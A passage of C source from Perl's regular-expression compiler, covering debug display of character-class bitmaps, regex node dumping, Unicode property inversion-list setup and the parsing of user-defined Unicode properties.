"%s{utf8}%s", PL_colors[1], PL_colors[0]); put_charclass_bitmap_innards_invlist(output, only_utf8); } if (not_utf8 && _invlist_len(not_utf8)) { Perl_sv_catpvf(aTHX_ output, "%s{not utf8}%s", PL_colors[1], PL_colors[0]); put_charclass_bitmap_innards_invlist(output, not_utf8); } if (only_utf8_locale && _invlist_len(only_utf8_locale)) { Perl_sv_catpvf(aTHX_ output, "%s{utf8 locale}%s", PL_colors[1], PL_colors[0]); put_charclass_bitmap_innards_invlist(output, only_utf8_locale); /* This is the only list in this routine that can legally contain code * points outside the bitmap range. The call just above to * 'put_charclass_bitmap_innards_invlist' will simply suppress them, so * output them here. There's about a half-dozen possible, and none in * contiguous ranges longer than 2 */ if (invlist_highest(only_utf8_locale) >= NUM_ANYOF_CODE_POINTS) { UV start, end; SV* above_bitmap = NULL; _invlist_subtract(only_utf8_locale, PL_InBitmap, &above_bitmap); invlist_iterinit(above_bitmap); while (invlist_iternext(above_bitmap, &start, &end)) { UV i; for (i = start; i <= end; i++) { put_code_point(output, i); } } invlist_iterfinish(above_bitmap); SvREFCNT_dec_NN(above_bitmap); } } if (invert && SvCUR(output) == 1) { return NULL; } return output; } STATIC bool S_put_charclass_bitmap_innards(pTHX_ SV *sv, char *bitmap, SV *nonbitmap_invlist, SV *only_utf8_locale_invlist, const regnode * const node, const bool force_as_is_display) { /* Appends to 'sv' a displayable version of the innards of the bracketed * character class defined by the other arguments: * 'bitmap' points to the bitmap, or NULL if to ignore that. * 'nonbitmap_invlist' is an inversion list of the code points that are in * the bitmap range, but for some reason aren't in the bitmap; NULL if * none. The reasons for this could be that they require some * condition such as the target string being or not being in UTF-8 * (under /d), or because they came from a user-defined property that * was not resolved at the time of the regex compilation (under /u) * 'only_utf8_locale_invlist' is an inversion list of the code points that * are valid only if the runtime locale is a UTF-8 one; NULL if none * 'node' is the regex pattern ANYOF node. It is needed only when the * above two parameters are not null, and is passed so that this * routine can tease apart the various reasons for them. * 'force_as_is_display' is TRUE if this routine should definitely NOT try * to invert things to see if that leads to a cleaner display. If * FALSE, this routine is free to use its judgment about doing this. * * It returns TRUE if there was actually something output. (It may be that * the bitmap, etc is empty.) * * When called for outputting the bitmap of a non-ANYOF node, just pass the * bitmap, with the succeeding parameters set to NULL, and the final one to * FALSE. */ /* In general, it tries to display the 'cleanest' representation of the * innards, choosing whether to display them inverted or not, regardless of * whether the class itself is to be inverted. However, there are some * cases where it can't try inverting, as what actually matches isn't known * until runtime, and hence the inversion isn't either. */ dVAR; bool inverting_allowed = ! force_as_is_display; int i; STRLEN orig_sv_cur = SvCUR(sv); SV* invlist; /* Inversion list we accumulate of code points that are unconditionally matched */ SV* only_utf8 = NULL; /* Under /d, list of matches iff the target is UTF-8 */ SV* not_utf8 = NULL; /* /d, list of matches iff the target isn't UTF-8 */ SV* posixes = NULL; /* Under /l, string of things like [:word:], \D */ SV* only_utf8_locale = NULL; /* Under /l, list of matches if the locale is UTF-8 */ SV* as_is_display; /* The output string when we take the inputs literally */ SV* inverted_display; /* The output string when we invert the inputs */ U8 flags = (node) ? ANYOF_FLAGS(node) : 0; bool invert = cBOOL(flags & ANYOF_INVERT); /* Is the input to be inverted to match? */ /* We are biased in favor of displaying things without them being inverted, * as that is generally easier to understand */ const int bias = 5; PERL_ARGS_ASSERT_PUT_CHARCLASS_BITMAP_INNARDS; /* Start off with whatever code points are passed in. (We clone, so we * don't change the caller's list) */ if (nonbitmap_invlist) { assert(invlist_highest(nonbitmap_invlist) < NUM_ANYOF_CODE_POINTS); invlist = invlist_clone(nonbitmap_invlist, NULL); } else { /* Worst case size is every other code point is matched */ invlist = _new_invlist(NUM_ANYOF_CODE_POINTS / 2); } if (flags) { if (OP(node) == ANYOFD) { /* This flag indicates that the code points below 0x100 in the * nonbitmap list are precisely the ones that match only when the * target is UTF-8 (they should all be non-ASCII). */ if (flags & ANYOF_SHARED_d_UPPER_LATIN1_UTF8_STRING_MATCHES_non_d_RUNTIME_USER_PROP) { _invlist_intersection(invlist, PL_UpperLatin1, &only_utf8); _invlist_subtract(invlist, only_utf8, &invlist); } /* And this flag for matching all non-ASCII 0xFF and below */ if (flags & ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER) { not_utf8 = invlist_clone(PL_UpperLatin1, NULL); } } else if (OP(node) == ANYOFL || OP(node) == ANYOFPOSIXL) { /* If either of these flags are set, what matches isn't * determinable except during execution, so don't know enough here * to invert */ if (flags & (ANYOFL_FOLD|ANYOF_MATCHES_POSIXL)) { inverting_allowed = FALSE; } /* What the posix classes match also varies at runtime, so these * will be output symbolically. */ if (ANYOF_POSIXL_TEST_ANY_SET(node)) { int i; posixes = newSVpvs(""); for (i = 0; i < ANYOF_POSIXL_MAX; i++) { if (ANYOF_POSIXL_TEST(node, i)) { sv_catpv(posixes, anyofs[i]); } } } } } /* Accumulate the bit map into the unconditional match list */ if (bitmap) { for (i = 0; i < NUM_ANYOF_CODE_POINTS; i++) { if (BITMAP_TEST(bitmap, i)) { int start = i++; for (; i < NUM_ANYOF_CODE_POINTS && BITMAP_TEST(bitmap, i); i++) { /* empty */ } invlist = _add_range_to_invlist(invlist, start, i-1); } } } /* Make sure that the conditional match lists don't have anything in them * that match unconditionally; otherwise the output is quite confusing. * This could happen if the code that populates these misses some * duplication. */ if (only_utf8) { _invlist_subtract(only_utf8, invlist, &only_utf8); } if (not_utf8) { _invlist_subtract(not_utf8, invlist, &not_utf8); } if (only_utf8_locale_invlist) { /* Since this list is passed in, we have to make a copy before * modifying it */ only_utf8_locale = invlist_clone(only_utf8_locale_invlist, NULL); _invlist_subtract(only_utf8_locale, invlist, &only_utf8_locale); /* And, it can get really weird for us to try outputting an inverted * form of this list when it has things above the bitmap, so don't even * try */ if (invlist_highest(only_utf8_locale) >= NUM_ANYOF_CODE_POINTS) { inverting_allowed = FALSE; } } /* Calculate what the output would be if we take the input as-is */ as_is_display = put_charclass_bitmap_innards_common(invlist, posixes, only_utf8, not_utf8, only_utf8_locale, invert); /* If have to take the output as-is, just do that */ if (! inverting_allowed) { if (as_is_display) { sv_catsv(sv, as_is_display); SvREFCNT_dec_NN(as_is_display); } } else { /* But otherwise, create the output again on the inverted input, and use whichever version is shorter */ int inverted_bias, as_is_bias; /* We will apply our bias to whichever of the the results doesn't have * the '^' */ if (invert) { invert = FALSE; as_is_bias = bias; inverted_bias = 0; } else { invert = TRUE; as_is_bias = 0; inverted_bias = bias; } /* Now invert each of the lists that contribute to the output, * excluding from the result things outside the possible range */ /* For the unconditional inversion list, we have to add in all the * conditional code points, so that when inverted, they will be gone * from it */ _invlist_union(only_utf8, invlist, &invlist); _invlist_union(not_utf8, invlist, &invlist); _invlist_union(only_utf8_locale, invlist, &invlist); _invlist_invert(invlist); _invlist_intersection(invlist, PL_InBitmap, &invlist); if (only_utf8) { _invlist_invert(only_utf8); _invlist_intersection(only_utf8, PL_UpperLatin1, &only_utf8); } else if (not_utf8) { /* If a code point matches iff the target string is not in UTF-8, * then complementing the result has it not match iff not in UTF-8, * which is the same thing as matching iff it is UTF-8. */ only_utf8 = not_utf8; not_utf8 = NULL; } if (only_utf8_locale) { _invlist_invert(only_utf8_locale); _invlist_intersection(only_utf8_locale, PL_InBitmap, &only_utf8_locale); } inverted_display = put_charclass_bitmap_innards_common( invlist, posixes, only_utf8, not_utf8, only_utf8_locale, invert); /* Use the shortest representation, taking into account our bias * against showing it inverted */ if ( inverted_display && ( ! as_is_display || ( SvCUR(inverted_display) + inverted_bias < SvCUR(as_is_display) + as_is_bias))) { sv_catsv(sv, inverted_display); } else if (as_is_display) { sv_catsv(sv, as_is_display); } SvREFCNT_dec(as_is_display); SvREFCNT_dec(inverted_display); } SvREFCNT_dec_NN(invlist); SvREFCNT_dec(only_utf8); SvREFCNT_dec(not_utf8); SvREFCNT_dec(posixes); SvREFCNT_dec(only_utf8_locale); return SvCUR(sv) > orig_sv_cur; } #define CLEAR_OPTSTART \ if (optstart) STMT_START { \ DEBUG_OPTIMISE_r(Perl_re_printf( aTHX_ \ " (%" IVdf " nodes)\n", (IV)(node - optstart))); \ optstart=NULL; \ } STMT_END #define DUMPUNTIL(b,e) \ CLEAR_OPTSTART; \ node=dumpuntil(r,start,(b),(e),last,sv,indent+1,depth+1); STATIC const regnode * S_dumpuntil(pTHX_ const regexp *r, const regnode *start, const regnode *node, const regnode *last, const regnode *plast, SV* sv, I32 indent, U32 depth) { U8 op = PSEUDO; /* Arbitrary non-END op. */ const regnode *next; const regnode *optstart= NULL; RXi_GET_DECL(r, ri); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_DUMPUNTIL; #ifdef DEBUG_DUMPUNTIL Perl_re_printf( aTHX_ "--- %d : %d - %d - %d\n", indent, node-start, last ? last-start : 0, plast ? plast-start : 0); #endif if (plast && plast < last) last= plast; while (PL_regkind[op] != END && (!last || node < last)) { assert(node); /* While that wasn't END last time... */ NODE_ALIGN(node); op = OP(node); if (op == CLOSE || op == SRCLOSE || op == WHILEM) indent--; next = regnext((regnode *)node); /* Where, what. */ if (OP(node) == OPTIMIZED) { if (!optstart && RE_DEBUG_FLAG(RE_DEBUG_COMPILE_OPTIMISE)) optstart = node; else goto after_print; } else CLEAR_OPTSTART; regprop(r, sv, node, NULL, NULL); Perl_re_printf( aTHX_ "%4" IVdf ":%*s%s", (IV)(node - start), (int)(2*indent + 1), "", SvPVX_const(sv)); if (OP(node) != OPTIMIZED) { if (next == NULL) /* Next ptr. */ Perl_re_printf( aTHX_ " (0)"); else if (PL_regkind[(U8)op] == BRANCH && PL_regkind[OP(next)] != BRANCH ) Perl_re_printf( aTHX_ " (FAIL)"); else Perl_re_printf( aTHX_ " (%" IVdf ")", (IV)(next - start)); Perl_re_printf( aTHX_ "\n"); } after_print: if (PL_regkind[(U8)op] == BRANCHJ) { assert(next); { const regnode *nnode = (OP(next) == LONGJMP ? regnext((regnode *)next) : next); if (last && nnode > last) nnode = last; DUMPUNTIL(NEXTOPER(NEXTOPER(node)), nnode); } } else if (PL_regkind[(U8)op] == BRANCH) { assert(next); DUMPUNTIL(NEXTOPER(node), next); } else if ( PL_regkind[(U8)op] == TRIE ) { const regnode *this_trie = node; const char op = OP(node); const U32 n = ARG(node); const reg_ac_data * const ac = op>=AHOCORASICK ? (reg_ac_data *)ri->data->data[n] : NULL; const reg_trie_data * const trie = (reg_trie_data*)ri->data->data[op<AHOCORASICK ? n : ac->trie]; #ifdef DEBUGGING AV *const trie_words = MUTABLE_AV(ri->data->data[n + TRIE_WORDS_OFFSET]); #endif const regnode *nextbranch= NULL; I32 word_idx; SvPVCLEAR(sv); for (word_idx= 0; word_idx < (I32)trie->wordcount; word_idx++) { SV ** const elem_ptr = av_fetch(trie_words, word_idx, 0); Perl_re_indentf( aTHX_ "%s ", indent+3, elem_ptr ? pv_pretty(sv, SvPV_nolen_const(*elem_ptr), SvCUR(*elem_ptr), PL_dump_re_max_len, PL_colors[0], PL_colors[1], (SvUTF8(*elem_ptr) ? PERL_PV_ESCAPE_UNI : 0) | PERL_PV_PRETTY_ELLIPSES | PERL_PV_PRETTY_LTGT ) : "???" ); if (trie->jump) { U16 dist= trie->jump[word_idx+1]; Perl_re_printf( aTHX_ "(%" UVuf ")\n", (UV)((dist ? this_trie + dist : next) - start)); if (dist) { if (!nextbranch) nextbranch= this_trie + trie->jump[0]; DUMPUNTIL(this_trie + dist, nextbranch); } if (nextbranch && PL_regkind[OP(nextbranch)]==BRANCH) nextbranch= regnext((regnode *)nextbranch); } else { Perl_re_printf( aTHX_ "\n"); } } if (last && next > last) node= last; else node= next; } else if ( op == CURLY ) { /* "next" might be very big: optimizer */ DUMPUNTIL(NEXTOPER(node) + EXTRA_STEP_2ARGS, NEXTOPER(node) + EXTRA_STEP_2ARGS + 1); } else if (PL_regkind[(U8)op] == CURLY && op != CURLYX) { assert(next); DUMPUNTIL(NEXTOPER(node) + EXTRA_STEP_2ARGS, next); } else if ( op == PLUS || op == STAR) { DUMPUNTIL(NEXTOPER(node), NEXTOPER(node) + 1); } else if (PL_regkind[(U8)op] == EXACT) { /* Literal string, where present. */ node += NODE_SZ_STR(node) - 1; node = NEXTOPER(node); } else { node = NEXTOPER(node); node += regarglen[(U8)op]; } if (op == CURLYX || op == OPEN || op == SROPEN) indent++; } CLEAR_OPTSTART; #ifdef DEBUG_DUMPUNTIL Perl_re_printf( aTHX_ "--- %d\n", (int)indent); #endif return node; } #endif /* DEBUGGING */ #ifndef PERL_IN_XSUB_RE #include "uni_keywords.h" void Perl_init_uniprops(pTHX) { dVAR; PL_user_def_props = newHV(); #ifdef USE_ITHREADS HvSHAREKEYS_off(PL_user_def_props); PL_user_def_props_aTHX = aTHX; #endif /* Set up the inversion list global variables */ PL_XPosix_ptrs[_CC_ASCII] = _new_invlist_C_array(uni_prop_ptrs[UNI_ASCII]); PL_XPosix_ptrs[_CC_ALPHANUMERIC] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXALNUM]); PL_XPosix_ptrs[_CC_ALPHA] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXALPHA]); PL_XPosix_ptrs[_CC_BLANK] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXBLANK]); PL_XPosix_ptrs[_CC_CASED] = _new_invlist_C_array(uni_prop_ptrs[UNI_CASED]); PL_XPosix_ptrs[_CC_CNTRL] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXCNTRL]); PL_XPosix_ptrs[_CC_DIGIT] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXDIGIT]); PL_XPosix_ptrs[_CC_GRAPH] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXGRAPH]); PL_XPosix_ptrs[_CC_LOWER] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXLOWER]); PL_XPosix_ptrs[_CC_PRINT] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXPRINT]); PL_XPosix_ptrs[_CC_PUNCT] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXPUNCT]); PL_XPosix_ptrs[_CC_SPACE] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXSPACE]); PL_XPosix_ptrs[_CC_UPPER] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXUPPER]); PL_XPosix_ptrs[_CC_VERTSPACE] = _new_invlist_C_array(uni_prop_ptrs[UNI_VERTSPACE]); PL_XPosix_ptrs[_CC_WORDCHAR] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXWORD]); PL_XPosix_ptrs[_CC_XDIGIT] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXXDIGIT]); PL_Posix_ptrs[_CC_ASCII] = _new_invlist_C_array(uni_prop_ptrs[UNI_ASCII]); PL_Posix_ptrs[_CC_ALPHANUMERIC] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXALNUM]); PL_Posix_ptrs[_CC_ALPHA] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXALPHA]); PL_Posix_ptrs[_CC_BLANK] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXBLANK]); PL_Posix_ptrs[_CC_CASED] = PL_Posix_ptrs[_CC_ALPHA]; PL_Posix_ptrs[_CC_CNTRL] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXCNTRL]); PL_Posix_ptrs[_CC_DIGIT] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXDIGIT]); PL_Posix_ptrs[_CC_GRAPH] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXGRAPH]); PL_Posix_ptrs[_CC_LOWER] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXLOWER]); PL_Posix_ptrs[_CC_PRINT] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXPRINT]); PL_Posix_ptrs[_CC_PUNCT] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXPUNCT]); PL_Posix_ptrs[_CC_SPACE] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXSPACE]); PL_Posix_ptrs[_CC_UPPER] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXUPPER]); PL_Posix_ptrs[_CC_VERTSPACE] = NULL; PL_Posix_ptrs[_CC_WORDCHAR] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXWORD]); PL_Posix_ptrs[_CC_XDIGIT] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXXDIGIT]); PL_GCB_invlist = _new_invlist_C_array(_Perl_GCB_invlist); PL_SB_invlist = _new_invlist_C_array(_Perl_SB_invlist); PL_WB_invlist = _new_invlist_C_array(_Perl_WB_invlist); PL_LB_invlist = _new_invlist_C_array(_Perl_LB_invlist); PL_SCX_invlist = _new_invlist_C_array(_Perl_SCX_invlist); PL_AboveLatin1 = _new_invlist_C_array(AboveLatin1_invlist); PL_Latin1 = _new_invlist_C_array(Latin1_invlist); PL_UpperLatin1 = _new_invlist_C_array(UpperLatin1_invlist); PL_Assigned_invlist = _new_invlist_C_array(uni_prop_ptrs[UNI_ASSIGNED]); PL_utf8_perl_idstart = _new_invlist_C_array(uni_prop_ptrs[UNI__PERL_IDSTART]); PL_utf8_perl_idcont = _new_invlist_C_array(uni_prop_ptrs[UNI__PERL_IDCONT]); PL_utf8_charname_begin = _new_invlist_C_array(uni_prop_ptrs[UNI__PERL_CHARNAME_BEGIN]); PL_utf8_charname_continue = _new_invlist_C_array(uni_prop_ptrs[UNI__PERL_CHARNAME_CONTINUE]); PL_in_some_fold = _new_invlist_C_array(uni_prop_ptrs[UNI__PERL_ANY_FOLDS]); PL_HasMultiCharFold = _new_invlist_C_array(uni_prop_ptrs[ UNI__PERL_FOLDS_TO_MULTI_CHAR]); PL_InMultiCharFold = _new_invlist_C_array(uni_prop_ptrs[ UNI__PERL_IS_IN_MULTI_CHAR_FOLD]); PL_NonFinalFold = _new_invlist_C_array(uni_prop_ptrs[ UNI__PERL_NON_FINAL_FOLDS]); PL_utf8_toupper = _new_invlist_C_array(Uppercase_Mapping_invlist); PL_utf8_tolower = _new_invlist_C_array(Lowercase_Mapping_invlist); PL_utf8_totitle = _new_invlist_C_array(Titlecase_Mapping_invlist); PL_utf8_tofold = _new_invlist_C_array(Case_Folding_invlist); PL_utf8_tosimplefold = _new_invlist_C_array(Simple_Case_Folding_invlist); PL_utf8_foldclosures = _new_invlist_C_array(_Perl_IVCF_invlist); PL_utf8_mark = _new_invlist_C_array(uni_prop_ptrs[UNI_M]); PL_CCC_non0_non230 = _new_invlist_C_array(_Perl_CCC_non0_non230_invlist); PL_Private_Use = _new_invlist_C_array(uni_prop_ptrs[UNI_CO]); #ifdef UNI_XIDC /* The below are used only by deprecated functions. They could be removed */ PL_utf8_xidcont = _new_invlist_C_array(uni_prop_ptrs[UNI_XIDC]); PL_utf8_idcont = _new_invlist_C_array(uni_prop_ptrs[UNI_IDC]); PL_utf8_xidstart = _new_invlist_C_array(uni_prop_ptrs[UNI_XIDS]); #endif } #if 0 This code was mainly added for backcompat to give a warning for non-portable code points in user-defined properties. But experiments showed that the warning in earlier perls were only omitted on overflow, which should be an error, so there really isnt a backcompat issue, and actually adding the warning when none was present before might cause breakage, for little gain. So khw left this code in, but not enabled. Tests were never added. embed.fnc entry: Ei |const char *|get_extended_utf8_msg|const UV cp PERL_STATIC_INLINE const char * S_get_extended_utf8_msg(pTHX_ const UV cp) { U8 dummy[UTF8_MAXBYTES + 1]; HV *msgs; SV **msg; uvchr_to_utf8_flags_msgs(dummy, cp, UNICODE_WARN_PERL_EXTENDED, &msgs); msg = hv_fetchs(msgs, "text", 0); assert(msg); (void) sv_2mortal((SV *) msgs); return SvPVX(*msg); } #endif SV * Perl_handle_user_defined_property(pTHX_ /* Parses the contents of a user-defined property definition; returning the * expanded definition if possible. If so, the return is an inversion * list. * * If there are subroutines that are part of the expansion and which aren't * known at the time of the call to this function, this returns what * parse_uniprop_string() returned for the first one encountered. * * If an error was found, NULL is returned, and 'msg' gets a suitable * message appended to it. (Appending allows the back trace of how we got * to the faulty definition to be displayed through nested calls of * user-defined subs.) * * The caller IS responsible for freeing any returned SV. * * The syntax of the contents is pretty much described in perlunicode.pod, * but we also allow comments on each line */ const char * name, /* Name of property */ const STRLEN name_len, /* The name's length in bytes */ const bool is_utf8, /* ? Is 'name' encoded in UTF-8 */ const bool to_fold, /* ? Is this under /i */ const bool runtime, /* ? Are we in compile- or run-time */ const bool deferrable, /* Is it ok for this property's full definition to be deferred until later? */ SV* contents, /* The property's definition */ bool *user_defined_ptr, /* This will be set TRUE as we wouldn't be getting called unless this is thought to be a user-defined property */ SV * msg, /* Any error or warning msg(s) are appended to this */ const STRLEN level) /* Recursion level of this call */ { STRLEN len; const char * string = SvPV_const(contents, len); const char * const e = string + len; const bool is_contents_utf8 = cBOOL(SvUTF8(contents)); const STRLEN msgs_length_on_entry = SvCUR(msg); const char * s0 = string; /* Points to first byte in the current line being parsed in 'string' */ const char overflow_msg[] = "Code point too large in \""; SV* running_definition = NULL; PERL_ARGS_ASSERT_HANDLE_USER_DEFINED_PROPERTY; *user_defined_ptr = TRUE; /* Look at each line */ while (s0 < e) { const char * s; /* Current byte */ char op = '+'; /* Default operation is 'union' */ IV min = 0; /* range begin code point */ IV max = -1; /* and range end */ SV* this_definition; /* Skip comment lines */ if (*s0 == '#') { s0 = strchr(s0, '\n'); if (s0 == NULL) { break; } s0++; continue; } /* For backcompat, allow an empty first line */ if (*s0 == '\n') { s0++; continue; } /* First character in the line may optionally be the operation */ if ( *s0 == '+' || *s0 == '!' || *s0 == '-' || *s0 == '&') { op = *s0++; } /* If the line is one or two hex digits separated by blank space, its * a range; otherwise it is either another user-defined property or an * error */ s = s0; if (! isXDIGIT(*s)) { goto check_if_property; } do { /* Each new hex digit will add 4 bits. */ if (min > ( (IV) MAX_LEGAL_CP >> 4)) { s = strchr(s, '\n'); if (s == NULL) { s = e; } if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpv(msg, overflow_msg); Perl_sv_catpvf(aTHX_ msg, "%" UTF8f, UTF8fARG(is_contents_utf8, s - s0, s0)); sv_catpvs(msg, "\""); goto return_failure; } /* Accumulate this digit into the value */ min = (min << 4) + READ_XDIGIT(s); } while (isXDIGIT(*s)); while (isBLANK(*s)) { s++; } /* We allow comments at the end of the line */ if (*s == '#') { s = strchr(s, '\n'); if (s == NULL) { s = e; } s++; } else if (s < e && *s != '\n') { if (! isXDIGIT(*s)) { goto check_if_property; } /* Look for the high point of the range */ max = 0; do { if (max > ( (IV) MAX_LEGAL_CP >> 4)) { s = strchr(s, '\n'); if (s == NULL) { s = e; } if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpv(msg, overflow_msg); Perl_sv_catpvf(aTHX_ msg, "%" UTF8f, UTF8fARG(is_contents_utf8, s - s0, s0)); sv_catpvs(msg, "\""); goto return_failure; } max = (max << 4) + READ_XDIGIT(s); } while (isXDIGIT(*s)); while (isBLANK(*s)) { s++; } if (*s == '#') { s = strchr(s, '\n'); if (s == NULL) { s = e; } } else if (s < e && *s != '\n') { goto check_if_property; } } if (max == -1) { /* The line only had one entry */ max = min; } else if (max < min) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvs(msg, "Illegal range in \""); Perl_sv_catpvf(aTHX_ msg, "%" UTF8f, UTF8fARG(is_contents_utf8, s - s0, s0)); sv_catpvs(msg, "\""); goto return_failure; } #if 0 /* See explanation at definition above of get_extended_utf8_msg() */ if ( UNICODE_IS_PERL_EXTENDED(min) || UNICODE_IS_PERL_EXTENDED(max)) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); /* If both code points are non-portable, warn only on the lower * one. */ sv_catpv(msg, get_extended_utf8_msg( (UNICODE_IS_PERL_EXTENDED(min)) ? min : max)); sv_catpvs(msg, " in \""); Perl_sv_catpvf(aTHX_ msg, "%" UTF8f, UTF8fARG(is_contents_utf8, s - s0, s0)); sv_catpvs(msg, "\""); } #endif /* Here, this line contains a legal range */ this_definition = sv_2mortal(_new_invlist(2)); this_definition = _add_range_to_invlist(this_definition, min, max); goto calculate; check_if_property: /* Here it isn't a legal range line. See if it is a legal property * line. First find the end of the meat of the line */ s = strpbrk(s, "#\n"); if (s == NULL) { s = e; } /* Ignore trailing blanks in keeping with the requirements of * parse_uniprop_string() */ s--; while (s > s0 && isBLANK_A(*s)) { s--; } s++; this_definition = parse_uniprop_string(s0, s - s0, is_utf8, to_fold, runtime, deferrable, user_defined_ptr, msg, (name_len == 0) ? level /* Don't increase level if input is empty */ : level + 1 ); if (this_definition == NULL) { goto return_failure; /* 'msg' should have had the reason appended to it by the above call */ } if (! is_invlist(this_definition)) { /* Unknown at this time */ return newSVsv(this_definition); } if (*s != '\n') { s = strchr(s, '\n'); if (s == NULL) { s = e; } } calculate: switch (op) { case '+': _invlist_union(running_definition, this_definition, &running_definition); break; case '-': _invlist_subtract(running_definition, this_definition, &running_definition); break; case '&': _invlist_intersection(running_definition, this_definition, &running_definition); break; case '!': _invlist_union_complement_2nd(running_definition, this_definition, &running_definition); break; default: Perl_croak(aTHX_ "panic: %s: %d: Unexpected operation %d", __FILE__, __LINE__, op); break; } /* Position past the '\n' */ s0 = s + 1; } /* End of loop through the lines of 'contents' */ /* Here, we processed all the lines in 'contents' without error. If we * didn't add any warnings, simply return success */ if (msgs_length_on_entry == SvCUR(msg)) { /* If the expansion was empty, the answer isn't nothing: its an empty * inversion list */ if (running_definition == NULL) { running_definition = _new_invlist(1); } return running_definition; } /* Otherwise, add some explanatory text, but we will return success */ goto return_msg; return_failure: running_definition = NULL; return_msg: if (name_len > 0) { sv_catpvs(msg, " in expansion of "); Perl_sv_catpvf(aTHX_ msg, "%" UTF8f, UTF8fARG(is_utf8, name_len, name)); } return running_definition; } /* As explained below, certain operations need to take place in the first * thread created. These macros switch contexts */ #ifdef USE_ITHREADS # define DECLARATION_FOR_GLOBAL_CONTEXT \ PerlInterpreter * save_aTHX = aTHX; # define SWITCH_TO_GLOBAL_CONTEXT \ PERL_SET_CONTEXT((aTHX = PL_user_def_props_aTHX)) # define RESTORE_CONTEXT PERL_SET_CONTEXT((aTHX = save_aTHX)); # define CUR_CONTEXT aTHX # define ORIGINAL_CONTEXT save_aTHX #else # define DECLARATION_FOR_GLOBAL_CONTEXT # define SWITCH_TO_GLOBAL_CONTEXT NOOP # define RESTORE_CONTEXT NOOP # define CUR_CONTEXT NULL # define ORIGINAL_CONTEXT NULL #endif STATIC void S_delete_recursion_entry(pTHX_ void *key) { /* Deletes the entry used to detect recursion when expanding user-defined * properties. This is a function so it can be set up to be called even if * the program unexpectedly quits */ dVAR; SV ** current_entry; const STRLEN key_len = strlen((const char *) key); DECLARATION_FOR_GLOBAL_CONTEXT; SWITCH_TO_GLOBAL_CONTEXT; /* If the entry is one of these types, it is a permanent entry, and not the * one used to detect recursions. This function should delete only the * recursion entry */ current_entry = hv_fetch(PL_user_def_props, (const char *) key, key_len, 0); if ( current_entry && ! is_invlist(*current_entry) && ! SvPOK(*current_entry)) { (void) hv_delete(PL_user_def_props, (const char *) key, key_len, G_DISCARD); } RESTORE_CONTEXT; } STATIC SV * S_get_fq_name(pTHX_ const char * const name, /* The first non-blank in the \p{}, \P{} */ const Size_t name_len, /* Its length in bytes, not including any trailing space */ const bool is_utf8, /* ? Is 'name' encoded in UTF-8 */ const bool has_colon_colon ) { /* Returns a mortal SV containing the fully qualified version of the input * name */ SV * fq_name; fq_name = newSVpvs_flags("", SVs_TEMP); /* Use the current package if it wasn't included in our input */ if (! has_colon_colon) { const HV * pkg = (IN_PERL_COMPILETIME) ? PL_curstash : CopSTASH(PL_curcop); const char* pkgname = HvNAME(pkg); Perl_sv_catpvf(aTHX_ fq_name, "%" UTF8f, UTF8fARG(is_utf8, strlen(pkgname), pkgname)); sv_catpvs(fq_name, "::"); } Perl_sv_catpvf(aTHX_ fq_name, "%" UTF8f, UTF8fARG(is_utf8, name_len, name)); return fq_name; } SV * Perl_parse_uniprop_string(pTHX_ /* Parse the interior of a \p{}, \P{}. Returns its definition if knowable * now. If so, the return is an inversion list. * * If the property is user-defined, it is a subroutine, which in turn * may call other subroutines. This function will call the whole nest of * them to get the definition they return; if some aren't known at the time * of the call to this function, the fully qualified name of the highest * level sub is returned. It is an error to call this function at runtime * without every sub defined. * * If an error was found, NULL is returned, and 'msg' gets a suitable * message appended to it. (Appending allows the back trace of how we got * to the faulty definition to be displayed through nested calls of * user-defined subs.) * * The caller should NOT try to free any returned inversion list. * * Other parameters will be set on return as described below */ const char * const name, /* The first non-blank in the \p{}, \P{} */ const Size_t name_len, /* Its length in bytes, not including any trailing space */ const bool is_utf8, /* ? Is 'name' encoded in UTF-8 */ const bool to_fold, /* ? Is this under /i */ const bool runtime, /* TRUE if this is being called at run time */ const bool deferrable, /* TRUE if it's ok for the definition to not be known at this call */ bool *user_defined_ptr, /* Upon return from this function it will be set to TRUE if any component is a user-defined property */ SV * msg, /* Any error or warning msg(s) are appended to this */ const STRLEN level) /* Recursion level of this call */ { dVAR; char* lookup_name; /* normalized name for lookup in our tables */ unsigned lookup_len; /* Its length */ bool stricter = FALSE; /* Some properties have stricter name normalization rules, which we decide upon based on parsing */ /* nv= or numeric_value=, or possibly one of the cjk numeric properties * (though it requires extra effort to download them from Unicode and * compile perl to know about them) */ bool is_nv_type = FALSE; unsigned int i, j = 0; int equals_pos = -1; /* Where the '=' is found, or negative if none */ int slash_pos = -1; /* Where the '/' is found, or negative if none */ int table_index = 0; /* The entry number for this property in the table of all Unicode property names */ bool starts_with_In_or_Is = FALSE; /* ? Does the name start with 'In' or 'Is' */ 